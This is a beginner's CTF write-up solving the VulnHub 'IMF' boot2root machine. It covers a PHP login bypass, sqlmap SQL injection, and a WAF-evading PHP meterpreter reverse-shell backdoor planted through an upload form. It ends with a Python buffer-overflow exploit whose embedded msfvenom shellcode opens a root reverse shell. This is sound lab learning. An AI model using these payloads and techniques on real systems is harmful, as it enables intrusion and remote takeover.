Write-Up: IMF: 1 – ArcSecurity>NET

okay so lets get started a vulnhub hosted CTF target..

Welcome to "IMF", my first Boot2Root virtual machine. IMF is a intelligence agency that you must hack to get all flags and ultimately root. The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag. I hope you enjoy this VM and learn something.

Difficulty: Beginner/Moderate

Can contact me at: geckom at redteamr dot com or on Twitter: @g3ck0m

so step one ... find the target and give it a once over for open ports.

root@NetHunter:~# nmap -A -T5

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-12 16:51 MST
Nmap scan report for
Host is up (0.00028s latency).
Not shown: 999 filtered ports
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.2, Linux 3.16 - 4.6, Linux 3.2 - 4.6
Network Distance: 1 hop

1   0.28 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.99 seconds

It looks like the only attack vector we have available at first glance is port 80.

[+] Flag #2

So poking around the web page the first flag I run across is hidden in some strangely named java-scripts utilized by the site.

<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>

putting all the names together, while removing all the markup gives us what looks like a base64 string

Decoding the string

root@NetHunter:~# echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d

after the decoding of the string looks like we may have a username or password?! seems to easy...

root@NetHunter:~# echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d

although trying some light brute forcing with different variations yields no luck, maybe lets look for flag #1...

[+] Flag #1

Okay so after some digging around, along with performing some stenographic detection work on all the images on the site detection with no luck, so back to reviewing the source code fearing I may have overlooked something and to my avail, looks like the source code of the page has some goodies!

<div class="container">
<!-- flag1{YWxsdGhlZmlsZXM=} -->
<div class="service-wrapper">
root@NetHunter:~/Downloads# echo "YWxsdGhlZmlsZXM=" | base64 -d

[+]Flag 3

So moving on I would be amiss if i did not give dirb a work out - yielding no great or interesting results off the quick tests; It occurs to me that this 'imfadministrator' may be a web directory...

and sure enough i am greeted with a login screen!

checking out the source to get some idea of what we are working with - and we find something intresting.

<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->

so looks like 'Roger' hard-coded the password; but HTF did he do that?

... so this honestly took me a bit to figure out but eventually my efforts led me to the exploitation of the PHP function (not sure which) that handled the login logic comparison of the password portion of the POST data, turns out this function was vulnerable to the forms input 'name' attributes being appended with a '[]'...

So using rogers username (taken from his email on the contact page) and then simply using firebug to append the '[]' to the name attribute of the password field and looks like we have successfully exploited the authentication mechinism! And Boom Flag 3...

Welcome, rmichaels
root@NetHunter:~# echo "Y29udGludWVUT2Ntcw==" | base64 -d

[+]Flag 4

After visiting the cms section of the website looks like we might have hit some pay dirt in getting into the system ...

it looks like the cms.php page takes a url query and displays the page... After looking at the original query string I decide to throw a bone at it, and looks like we have some luck! seems we have a MySQL powered CMS that may be vulnerable to SQLi.
 swapped with
Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/imfadministrator/cms.php on line 29

So I decide to use 'sqlmap' instead of manual testing purely for saving time... and looks like we have a successful SQLi exploitation that yields some interesting information; seems we have another page in the CMS that does not have a link available...

Database: admin
Table: pages
[4 entries]
| id | pagename             | pagedata                                                                                                                                                              |
| 1  | upload               | Under Construction.                                                                                                                                                   |
| 2  | home                 | Welcome to the IMF Administration.                                                                                                                                    |
| 3  | tutorials-incomplete | Training classrooms available. <br /><img src="./images/whiteboard.jpg"><br /> Contact us for training.                                                               |
| 4  | disavowlist          | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary |

[+] Flag 4

After checking out the newly found 'tutorials-incomplete' page looks like the primary

Looks like we have a QR bar code... giving it a scan with my phone - BINGO!

root@NetHunter:~# echo "dXBsb2Fkcjk0Mi5waHA=" | base64 -d uploadr942.php

Looks like we have another page to check out...

[+] Flag 5

It looks like we may be getting close to the end of the game here... we have an upload form, after checking it out thoroughly I have deduced that you cant upload certain file types but i did have success uploading a GIF image... then after some more observation trying to figure this out I noticed that after a successful upload there are some artifact HTML comments in the source code. Having seen and built file uploading systems before, sometimes the developer will have the uploaded file renamed (so to not cause errors if two files have the same name) and for debugging will have the output in some way during the development process... that in mind is this a filename?!

<!-- 3261dafa822b -->
 <!-- 032b44600d91 -->
 <!-- ba4fb7f9de5c -->
 <!-- 566e3a80404d -->
 <!-- 3bf21765c311 -->
 <!-- 68fe756a5a8e -->
 <!-- d7bf444ca7a0 -->
 <!-- 1eaf5abd1259 -->
 <!-- 3f0f8fc354b6 -->
 <!-- 59c70f672c9e -->
 <!-- 6aca40a021a4 -->
 <!-- 71f3e7beb1b8 -->
 <!-- abf5e1695a51 -->
 <!-- b2bae22f7cbd -->
 <!-- 4d1896fbe035 -->

A little experimenting and looks like we got something! While looking into one of my uploaded files it seems the server actually attempts to process the content of the file!

GIF87a�Z���̖�������������ŷ��������,�Z��I��8�ͻ�`(�di�h��l�p,�tm�x��|����pH,�Ȥr�l:�ШtJ�Z�جv��z��xL.���z�n���|N�����~������������������������������������������������������������������������������������������������������������������������������@P����QB� �#`��E_2��� c���$���@�})�x�e�| ��W��|3ԔpS�I�0~�\8�̟$]*��䁦 �,h� R�����*r%@�$Y",]*ډE� �yS���4y�}!�,�@� �5Q��SX5�����r�'S&Z�,���C���o���$m��>��2���V�W�pE�6U8����-0ط}_ƐO���*��.j����l� ܴ�)��L������{�}�'h��켞��|=���0�o>�j���3���Lsu��V��aQ`]�R�]�&�}�muRp`�]=��G�Wኑ��A����e1^��{$:�m�E'�@:ҟ?�<6t��c�ACnpW�! �AVi�j̄#�(�h�?Q�AO�[iV�YȄޑ=&iu��Aa�'��j��nj`�U��Iؠ�&]�U��V��)if�a�闛7�%Җh��p�5:�x�9A�2��Z��i��L ����0)R��j�yx\!��>��` �VP���FG�� ���!0j�����A�J�חҖk�覫������+���k��������,��l��'���7���G,��Wl��g���w��� �,��$�l��(����,����0njn;

in a spitball attempt to get a foothold in the system I try the following



And we have an attack vector! So obviously I quickly copy and paste some code from one of my php webshells but no love, seems there is a WAF and we get the following error.

Error: CrappyWAF detected malware. Signature: fopen php function detected

Doing some poking around I found that the WAF does not mind the file_put_contents() function...


 file_put_contents("test.txt","hello there");

File successfully uploaded. and looks like our file is there and waiting!!

And after some serious trial and error I finally got a payload past the upload page... Essentially I utilized 'msfvenom' to generate a php meterpreter payload, then using multiple methods of encoding (urlencode(), and str_rot()) I was able to get me a backdoor installed on the target.

root@NetHunter:~# msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444



$payload = <<<ENC

file_put_contents("backdoor.gif","GIF98 <?php" . str_rot13(urldecode($payload)) . "?>");



I threw a scandir() in there just to list the files in the uploads directory as a check for success...

then after visiting the target URL to my uploaded backdoor I was greeted with a meterpreter shell!
[*] Sending stage (33986 bytes) to
[*] Meterpreter session 2 opened ( -> at 2017-02-13 10:44:39 -0700

msf exploit(handler) >
msf exploit(handler) >
msf exploit(handler) >
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
 Server username: www-data (33)
 meterpreter > sysinfo
 Computer    : imf
 OS          : Linux imf 4.4.0-45-generic #66-Ubuntu SMP Wed Oct 19 14:12:37 UTC 2016 x86_64
 Meterpreter : php/linux
 meterpreter >
meterpreter > cat flag5_abc123def.txt

root@NetHunter:~# echo "YWdlbnRzZXJ2aWNlcw==" | base64 -d 

[+]Flag 6

Poking around I run across an interesting executable as well as a file 'access_codes'

ls /usr/local/bin
 cat /usr/local/bin/access_codes
 SYN 7482,8279,9467

checking out the agent executable with ltrace and strings we may have a code to try to get into the program...

latrace agent
 /bin/sh: 102: latrace: not found
 ltrace agent
 __libc_start_main(0x80485fb, 1, 0xffe3c264, 0x8048970  ___ __  __ ___
 |_ _|  \/  | __|  Agent
 | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID :  <unfinished ...>
 setbuf(0xf77b8d60, 0)                            = <void>
 asprintf(0xffe3c198, 0x80489f0, 0x2ddd984, 0xf76200ec) = 8
 puts("  ___ __  __ ___ ")                        = 18
 puts(" |_ _|  \\/  | __|  Agent")                = 25
 puts("  | || |\\/| | _|   Reporting")            = 29
 puts(" |___|_|  |_|_|    System\n")              = 27
 printf("\nAgent ID : ")                          = 12
 Invalid Agent ID
 "\n", 9, 0xf77b85a0)                       = 0xffe3c19e
 strncmp("\n", "48093572", 8)                     = -1
 puts("Invalid Agent ID ")                        = 18

and it works! we now have access to the Agent Reporting System, however seems to be a false victory as there doesnt seem to be much use of it...

 ___ __  __ ___
 |_ _|  \/  | __|  Agent
 | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : 48093572
 Login Validated
 Main Menu:
 1. Extraction Points
 2. Request Extraction
 3. Submit Report
 0. Exit
 Enter selection:

After spending quite some time looking around the system and trying a few kernel exploits for privileged escalation I decide to back track a little bit... Earlier using 'netstat' I noticed one of the listening ports was not actually 'open' from my nmap initially - port 7788, Also while poking around I noticed that knockd was running, And on top of that the files found in the /usr/local/bin directory contained what looks like maybe a knocking sequence...

root@NetHunter:~# nmap -T5 --open 
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 12:30 MST 
Nmap scan report for Host is up (0.00082s latency). 
Not shown: 999 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit 
80/tcp open  http 

MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC) 
Nmap done: 1 IP address (1 host up) scanned in 2.85 seconds 

root@nethunterarch:~# knock 7482:tcp 8279:tcp 9467:tcp -v 
hitting tcp 
hitting tcp 
hitting tcp 

root@nethunterarch:~# nmap -T5 --open -p 7788 
Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-13 12:33 MST 
Nmap scan report for Host is up (0.00020s latency). 
7788/tcp open  unknown 
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC) 
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

and looks like that was it! now connecting to the port and seems we get the output from the 'agent' program we were checking out earlier...

root@nethunterarch:~# nc 7788
 ___ __  __ ___
 |_ _|  \/  | __|  Agent
 | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID :

My first though now is maybe our victory earlier may not be false... Taking a quick peek at the running processes now that I have the agent program running on my end seems that the agent program is running as root, we may be able to exploit the agent program with a buffer overflow. so lets start tearing this down...

First I grabbed a local copy of the agent executable, then using pattern_create.rb I generated a random 2000 bit string and successfully broke the agent program

root@nethunterarch:/usr/share/webshells/php# ./agent
 ___ __  __ ___
 |_ _|  \/  | __|  Agent
 | || |\/| | _|   Reporting
 |___|_|  |_|_|    System

Agent ID : 48093572
 Login Validated
 Main Menu:
 1. Extraction Points
 2. Request Extraction
 3. Submit Report
 0. Exit
 Enter selection: 3

Enter report update: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj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Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
 Submitted for review.
 Segmentation fault

checking out our registers we can snag EAX and our crashpoint.

Program received signal SIGSEGV, Segmentation fault.
 0x41366641 in ?? ()
 (gdb) info registers
 eax            0x8048563    -11900
 ecx            0xfbad0087    -72548217
 edx            0xf7fa8870    -134576016
 ebx            0x0    0
 esp            0xffffd230    0xffffd230
 ebp            0x35664134    0x35664134
 esi            0x1    1
 edi            0xf7fa7000    -134582272
 eip            0x41366641    0x41366641
 eflags         0x10282    [ SF IF RF ]
 cs             0x23    35
 ss             0x2b    43
 ds             0x2b    43
 es             0x2b    43
 fs             0x0    0
 gs             0x63    99

We will need this info later ... now to find our offset

root@nethunterarch:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2000 -q 41366641
[*] Exact match at offset 168

So '168' is the magic number... putting it all together we can brew up with our little exploit

import socket 
# Connect to target @ 7788 and get to the point of dumping the payload. 
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
client.connect(("", 7788)) 
client.send("{0}\n".format(3)) client.recv(512) 
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4445 -b "\x00\x0a\x0d" -f python 
buf =  "" 
buf += "\xba\xf6\x10\x7e\x7b\xdb\xc2\xd9\x74\x24\xf4\x5e\x31" 
buf += "\xc9\xb1\x12\x31\x56\x15\x03\x56\x15\x83\xee\xfc\xe2" 
buf += "\x03\x21\xa5\x8c\x08\x11\x1a\x20\xa4\x94\x2c\xa0\xb1" 
buf += "\x78\x81\xad\x56\x21\x72\x6e\xf0\xee\x83\x06\x02\x0f" 
buf += "\x95\x8b\x8b\xee\xff\x55\xd3\xa0\xae\xce\x6a\xa1\x12" 
buf += "\x3c\xec\x90\x92\x07\xec\xc4\x9c\x77\x65\x07\x5d\x9c" 
buf += "\x79\x09\xbd\x6f\x31\xf4\x8f\xf0\x6a\x8e\xf1\x68\x3a" 
buf += "\x9c\x41\x89\x8f\x1d\x5e\x6f" 
# resize the buffer to the correct size 
buf += "a" * (168 - len(buf)) 
#Append EAX Register Info 
buf += "\x63\x85\x04\x08\n" 

Looks like we are in! and as root

# cd /root
 # ls
 Flag.txt  TheEnd.txt
 # cat Flag.txt

root@nethunterarch:~# echo "R2gwc3RQcm90MGMwbHM=" | base64 -d

# cat TheEnd.txt
 ____                        _ __   __
 /  _/_ _  ___  ___  ___ ___ (_) /  / /__
 _/ //  ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
 /___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
 __  __/_/        _
 /  |/  (_)__ ___ (_)__  ___
 / /|_/ / (_-<(_-</ / _ \/ _ \
 / __/__  ___________
 / _// _ \/ __/ __/ -_)
 /_/  \___/_/  \__/\__/

Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
 Thank you for trying this challenge and please send any feedback.

 Twitter: @g3ck0ma
 Email: geckom@redteamr.com
 Web: http://redteamr.com

Special Thanks
 Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
 Web Advice: Menztrual (@menztrual)
 Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)


I had a really good time with the CTF and picked up a few tricks in the process. probably took me around 12 hours from start to finish however broken into a few sessions across two days. all in all a really good time!